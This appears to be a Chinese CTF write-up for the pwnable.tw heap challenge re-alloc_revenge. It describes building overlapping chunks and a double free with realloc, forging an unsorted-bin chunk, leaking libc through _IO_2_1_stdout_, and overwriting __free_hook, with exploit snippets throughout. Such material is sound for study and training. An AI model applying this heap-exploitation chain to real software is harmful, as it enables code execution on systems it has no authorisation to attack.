参考:pwnable.tw re-alloc_revenge | hhdx's blog
本题和heap_paradise思路感觉差不多,都是利用堆重叠,利用realloc构造出重叠的chunk。然后就是修改chunk size构造unsorted bin,利用_IO_stdout输出libc,修改realloc_hook指针或者free_hook指针。
allocate(0, 0x68, "A")# 0x70 chunk
realloc(0, 0, "")
realloc(0, 0x18, "A") # chunk split 0x18+0x50 malloc(0x68) can edit chunk(0x50)
free(0) #double free
通过上面的操作会得到3个chunk,0x20,0x50,0x70

这个时候就构造出了重叠的堆,2b0可以修改2d0的数据。
中间需要将unsorted bin挂载到tcachebin上面,这样从tcachebin malloc的到main_anrea。
allocate(0, 0x48, "B")
realloc(0, 0, "")
realloc(0, 0x48, "B"*0x10)
free(0) #double free chunk(0x50)
挂载思路是double free2个0x50的chunk

后续malloc获得地址2d0 chunk,通过修改size为unsort bin, 释放掉后就会进入unsorted,这时tcachebin有一个,unsortedbin有一个。
free unsorted bin还涉及到nextchunk的校验,本题只允许申请2个chunk,通过realloc将chunk留在tcache,不然申请释放就是同一个chunk了。
#nextchunk size chunk(0x50)+0x450 's chunk size
for i in range(9):
allocate(1, 0x58, "D")
realloc(1, 0x78, "D")
free(1)
需要将nextchunk addr:0x2b0+0x440的位置写入合法size


malloc出0x2b0,修改2d0的fd为_IO_2_1_stdout,
realloc(0, 0x18, p64(libc.symbols['_IO_2_1_stdout_'])[:2]) #
malloc出0x2b0,修改2d0的fd为free_hook或者realloc_hook,根据one_gadget调整。
allocate(1, 0x78, b"F"*0x18+p64(0x61)+p64(libc_base+libc.sym["__free_hook"]))
中间还有些细节,调试可以搞清楚



被折叠的 条评论
为什么被折叠?



